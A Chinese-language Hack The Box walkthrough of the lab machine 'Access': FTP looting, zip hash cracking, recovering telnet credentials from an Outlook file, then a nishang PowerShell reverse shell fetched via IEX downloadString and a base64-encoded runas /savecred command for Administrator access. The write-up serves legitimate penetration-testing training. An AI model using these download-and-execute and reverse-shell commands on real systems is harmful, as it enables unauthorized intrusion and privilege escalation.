【HTB系列】靶機Access的滲透測試詳解

Ms08067安全實驗室發表於2021-02-21

出品|MS08067實驗室(www.ms08067.com)

本文作者:大方子(Ms08067實驗室核心成員)

Hack The Box是一個CTF挑戰靶機平臺,線上滲透測試平臺。它能幫助你提升滲透測試技能和黑盒測試技能,它包含了一些不斷更新的挑戰,其中有模擬真實世界場景,也有傾向於CTF風格的挑戰。

https://www.hackthebox.eu/

平臺上有很多靶機,從易到難,黑客每入侵一臺機器都會獲得相應積分,通過積分排名設有名人堂。今天要實驗的是靶機Access。

一.獲取普通使用者許可權

首先我們用nmap探測下靶機的資訊。
nmap -sC -sV -T5 10.10.10.98

可以看到靶機開放了21,23,80埠。telnet後面有一個?說明nmap也不確定是否為telnet。這裡我用msf來探測下FTP是否允許 匿名登陸,使用msf的/auxiliary/scanner/ftp/anonymous模組。

FTP是執行匿名登陸的,那我們進行遠端登陸FTP看看有什麼東西。

這裡我用wget遞迴下載FTP檔案。
wget -m ftp://anonymous:anonymous@10.10.10.98

發現報錯 無法啟動PASV傳輸,那我們加個 --no-passive 使用FTP的被動模式。
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98

下載成功!同樣我們試下Telnet是否能匿名登陸。

不存在匿名登陸,但是我也確定了23這個埠的是telnet,接下來在訪問下80埠。

我們download下這個圖片看看這個圖片是否存在隱藏的資訊。

先用exiftool檢視是否存在圖片的其他資訊。

好像並沒有什麼額外的資訊,再用strings查詢下圖片的二進位制裡面是否有字串
strings out.jpg

也沒有發現什麼額外的資訊,那我們接下來用gobuster進行目錄的爆破。
gobuster -u http://10.10.10.98 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

經過了挺久的時間,沒爆破出什麼有用的資訊。我們去看下剛剛從FTP下載來的檔案,先解壓Engineer目錄下的Access Control.Zip檔案。

發生了一個錯誤,還7z來進行解壓。
7z x Access\ Control.zip

發現ZIP是需要密碼的,隨便輸入個密碼報錯,我們用7z 的l命令下的slt命令。
7z l -slt Access\ Control.zip
引數說明:
l:用於顯示壓縮檔案的資訊
Slt:屬於l下的子命令用來顯示壓縮檔案的技術資訊

壓縮檔案使用AES-256 Deflate進行加密的,我們把密碼的HASH提取出來到時候破解用。
zip2john Access\ Control.zip > Access\ Control.hash

我們在看下另一個檔案。

是一個access的資料庫檔案,裡面應該會出現用於解壓壓縮檔案的密碼。你可以用工具開啟檢視裡面的資料一個一個找找到需要的密碼。

還有一個更快捷的方法,因為密碼最低就是8位的,我們用過strings方法把mdb用二進位制檔案的形式開啟,然後只輸出內容大於等於8的內容,在把這些內容輸出成一個wordlist用來破解壓縮檔案。
strings -n 8 backup.mdb | sort -u > ../Engineer/wordlist
strings輸出的內容通過sort的-u引數去重,然後在輸出到檔案裡面。

然後我們利用john開始破解

破解成功,這裡可能不好找到密碼可以用這條命令顯示破解出的密碼。
john Access\ Control.hash --show

密碼: access4u@security
那接下來我們去解壓壓縮檔案。

解壓成功!!!

我們用file看下這個.pst是什麼檔案

是一個outlook的個人資料夾。我們用readpst來讀取下,然後目錄下面會多出一個Access Control.mbox檔案。

我們用
less Access Control.mbox

可以看到security的密碼:4Cc3ssC0ntr0ller。我們用獲得憑證去登陸telnet。
Security:4Cc3ssC0ntr0ller

登陸成功!然後CD到桌面檢視user.txt即可得到user的flag。

二.獲取管理員許可權

接下來就是怎麼得到管理員許可權,測試下powershell是否能正常工作。

powershell正常的,那我們本地搭建一個簡易的HTTP伺服器放上我們的powershell反彈shell指令碼,讓靶機進行遠端下載執行反彈一個shell。
這裡用nishang 這是一個基於Powershell的攻擊框架,專案地址: https://github.com/samratashok/nishang。
我們新建一個 www目錄 然後把nishang裡面需要用的指令碼copy進去。
cp ~/HTB/Access/nishang/Shells/Invoke-PowerShellTcp.ps1 ~/HTB/Access/www/nishang.ps1

然後vi下編輯這個nishang.ps1,在最底下加上這行命令

Invoke-PowerShellTcp -Reverse -IPAddress 你的IP地址 -Port 監聽埠
然後我們用nc 監聽9001

接著用python開啟HTTP伺服器

然後在目標靶機telnet上執行這段程式碼,就是遠端執行powershell指令碼。
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.13.147:8000/nishang.ps1')"

之後就會反彈一個shell

接下來我們在上傳一個指令碼用來檢測Windows系統以提升許可權。JAWS:https://github.com/411Hall/JAWS

我們在剛剛反彈的shell中去執行這個指令碼,來檢測目標系統的資訊。
IEX(New-Object Net.WebClient).downloadString('http:// 10.10.13.147:8000/jaws-enum.ps1')

執行完成後會返回一系列資訊,然後在這裡查詢有關資訊,這裡我只擷取憑證部分。

上面是電腦中儲存的憑證。當然你也可以用cmdkey /list 也會出現相關資訊。

在查詢的過程中我在公共使用者的目錄裡面找到一個快捷連線。

百度下具體資訊。

用type檢視下內容,發現一些關鍵資訊

Runas並且帶有/savecred ,Runas的介紹:https://blog.csdn.net/nzjdsds/article/details/88312910。
這個就可以成為我們的利用點,但是用type獲得資訊雜亂無章,我們需用另一種方法來獲得更為詳細的整潔的輸出。這裡我們用script指令碼的建立快捷方式實現。

  1. $WScript = New-Object -ComObject Wscript.Shell
  2. $shortcut = Get-ChildItem *.lnk
  3. $Wscript.CreateShortcut($shortcut)

這裡WScript用來繫結Wscript.Shell的,然後Get-ChildItem *.lnk 就是跟dir差不多找出字尾為.lnk檔案(效果圖如下)。

然後我們呼叫Wscript的CreateShortcut函式建立快捷方式來檢視裡面的lnk裡面的詳細資訊。
這裡我要說一下就是這裡建立的快捷方式是存在記憶體裡面的,在呼叫這個函式的SAVE函式之前,這個快捷方式是存在記憶體裡面的,我們只是需要這個ZKAccess3.5Security System.lnk裡面的詳細工整的資訊只是通過這個方式檢視而已。

在這裡面我們可以很清楚的看到runas 並且帶有savecred 引數。所以這邊我們runas的話可以不需要使用者的憑證。

但是runas之後沒有任何報錯,但是命令也沒有執行成功,應該是編碼的問題。接下來我們主要就是在這個shell中在runas反彈一個管理員許可權的shell。
我們先在自己的Kali中監聽9002,然後把我們之前用於反彈的nishang.ps1重新複製一份為nishang2.ps1並編輯下把nishang2.ps1把監聽的埠改為9002
【這裡由於靶機不是一天之內完成並寫好文章的,所以自己的IP地址後來變成10.10.12.114】
runas /user:ACCESS\Administrator /savecred "powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')""

這裡我換了一種格式寫,發現我的python HTTP伺服器出現了響應,但是9002並沒有返回shell。
在這裡猜測可能是編碼的問題,windows和linux採用的編碼不一樣,所以我們的命令需要轉換成windows能夠識別的編碼,這裡我們用iconv和base64。這裡轉碼要用UTF-16LE。

echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.114:8000/nishang2.ps1')" | iconv --to-code UTF-16LE | base64 -w 0 

輸出內容:
SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA=
然後我們執行下:

runas /user:ACCESS\Administrator /savecred "Powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEAMgAuADEAMQA0ADoAOAAwADAAMAAvAG4AaQBzAGgAYQBuAGcAMgAuAHAAcwAxACcAKQA="  

然後發現9002埠得到shell說明執行成功

到root的flag。

轉載請聯絡作者並註明出處!

Ms08067安全實驗室專注於網路安全知識的普及和培訓。團隊已出版《Web安全攻防:滲透測試實戰指南》,《內網安全攻防:滲透測試實戰指南》,《Python安全攻防:滲透測試實戰指南》,《Java程式碼安全審計(入門篇)》等書籍。
團隊公眾號定期分享關於CTF靶場、內網滲透、APT方面技術乾貨,從零開始、以實戰落地為主,致力於做一個實用的乾貨分享型公眾號。
官方網站:https://www.ms08067.com/

掃描下方二維碼加入實驗室VIP社群
加入後邀請加入內部VIP群,內部微信群永久有效!

【HTB系列】靶機Access的滲透測試詳解【HTB系列】靶機Access的滲透測試詳解【HTB系列】靶機Access的滲透測試詳解

【HTB系列】靶機Access的滲透測試詳解【HTB系列】靶機Access的滲透測試詳解【HTB系列】靶機Access的滲透測試詳解

相關文章